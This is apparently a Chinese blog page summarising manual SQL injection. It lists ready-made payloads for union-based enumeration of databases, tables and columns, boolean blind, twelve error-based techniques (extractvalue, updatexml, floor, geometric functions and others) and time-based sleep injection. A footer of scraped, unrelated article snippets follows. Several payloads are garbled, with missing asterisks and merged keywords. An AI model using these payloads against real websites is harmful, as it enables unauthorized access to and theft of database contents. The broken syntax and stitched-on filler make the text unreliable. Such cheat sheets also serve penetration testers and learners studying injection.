手动SQL注入总结
1.基于报错与union的注入
注意:union联合查询注入一般要配合其他注入使用
A.判断是否存在注入,注入是字符型还是数字型,有没过滤了关键字,可否绕过
a.如何判断是否存在注入
一般有一下几种
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
既把前面的引号或括号进行补全,后要保证格式的正确,让我们的语句可以顺利执行。
B.SQL查询语句中的字段数
order by 数字 --+
C.确定显示位,要用错误的数据,如?id=-1
union select 1,2,3--+
此处要注意,字段数要一致
D.获取当前数据库
获取库名:union select 1,database(),3
E.获取数据库中的表
获取表名:union select 1,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),3
F.获取数据表中的字段名
获取字段名:union select 1,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),3
G.下载数据
2.盲注(返回结果只有 true 和 false).
A.判断是否存在注入,注入是字符型还是数字型,有没过滤了关键字,可否绕过
B.依次猜测库名、表名、字段名的长度
C.依次猜测库名、表名、字段名,可使用burp得intruder模块
(orderby盲注 ).
3.报错注入(十二种)
A.floor()
id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)--+
B.extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+
C.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
D.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))--+
E.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))--+
F.polygon()
id=1 and polygon((select * from(select * from(select user())a)b))--+
G.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))--+
H.linestring()
id=1 and linestring((select * from(select * from(select user())a)b))--+
I.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))--+
J.exp()
id=1 and exp(~(select * from(select user())a))--+
K.NAME_CONST
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)--+
L.GeometryCollection()
and GeometryCollection(()select *from(select user () )a)b )--+
3.时间注入(类似盲注)
A.判断库名长度
and if(length(database()>=1),sleep(5),1)--+
B.判断库名
and if(substr(database(),1,1)='s',sleep(5),1)--+
注意:时间注入和盲注,可能需使用burp的intruder模块
总结:SQL注入其实就是将自己的sql语句拼接到网页的php程序中,利用程序的设计漏洞,获取数据库的内容
手动SQL注入总结的更多相关文章
- 手动SQL注入原理分析与实践
代码仓库 本文所用代码的代码库地址: 点击这里前往Github仓库 了解SQL注入 定义 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞.可以用它来从数 ...
- 记一次手动SQL注入
1.检测到可能存在注入漏洞的url 最常用的 ' ,and 1=1 ,and 1=2 http://www.xxx.com/subcat.php?id=1 2.判断字段个数 http://www.xx ...
- kali linux之手动漏洞挖掘三(sql注入)
服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器 如判断登录 select * from users where user='uname' and passw ...
- Java防止SQL注入2(通过filter过滤器功能进行拦截)
首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...
- mybatis中#{}与${}的差别(如何防止sql注入)
默认情况下,使用#{}语法,MyBatis会产生PreparedStatement语句中,并且安全的设置PreparedStatement参数,这个过程中MyBatis会进行必要的安全检查和转义. # ...
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- 用java PreparedStatement就不用担心sql注入了吗?
先感慨下,好久没写博客了,一是工作太忙,二是身体不太给力,好在终于查清病因了,趁着今天闲下来,迫不及待与读者交流,最后忠告一句:身体是活着的本钱! 言归正传,对java有了解的同学基本上都体验过JDB ...
- sqlmap和burpsuite绕过csrf token进行SQL注入检测
利用sqlmap和burpsuite绕过csrf token进行SQL注入 转载请注明来源:http://www.cnblogs.com/phoenix--/archive/2013/04/12/30 ...
- MyBatis怎么防止SQL注入
SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injection - Wikipedia SQL ...
随机推荐
- Pull后产生多余的log(Merge branch 'master' of ...)
第一步: git reset --hard 73d0d18425ae55195068d39b3304303ac43b521a 第二步: git push -f origin feature/PAC_1 ...
- 167两数之和II-输入有序数组
from typing import List# 这道题很容易能够想到,只需要遍历两边列表就可以了# 两层循环class Solution: def twoSum(self, numbers: Lis ...
- 【mysql】- 事务隔离级别和MVCC篇
概念 术语 脏写( Dirty Write ): 如果一个事务修改了另一个未提交事务修改过的数据,那就意味着发了脏写 脏读( Dirty Read ) : 如果一个事务读到了另一个未提交事务修改过的数 ...
- Git 撤销更改
一.未使用 git add 缓存代码时 可以使用 git checkout -- filepathname (比如: git checkout -- readme.md ,不要忘记中间的 “--” ...
- pv绑定pvc
创建pvapiVersion: v1kind: PersistentVolumemetadata: name: pv003 labels: app: vnc003 namespace: vnc-spa ...
- 12-21 Request庫
- PHP gmmktime() 函数
------------恢复内容开始------------ 实例 返回 GMT 日期的 UNIX 时间戳,然后使用它来查找该日期的天: <?php// Prints: October 3, 1 ...
- Skill 脚本演示 ycAlignAll.il
https://www.cnblogs.com/yeungchie/ ycAlignAll.il 将版图整体对齐至 指定象限 / 原点,可以忽略 Label 干扰带来的 offGrid 的风险. 回到 ...
- C/C++编程笔记:C++入门知识丨从结构到类的演变
先来看看本节知识的结构图吧! 接下来我们就逐步来看一下所有的知识点: 结构的演化 C++中的类是从结构演变而来的, 所以我们可以称C++为”带类的C”. 结构发生质的演变 C++结构中可以定义函数, ...
- 用python包xlwt将数据写入Excel中
一般用两种格式的数据写入,不多说放上demo. 1.列表形式写入 import xlwt def data_write(file_path, datas): f = xlwt.Workbook() s ...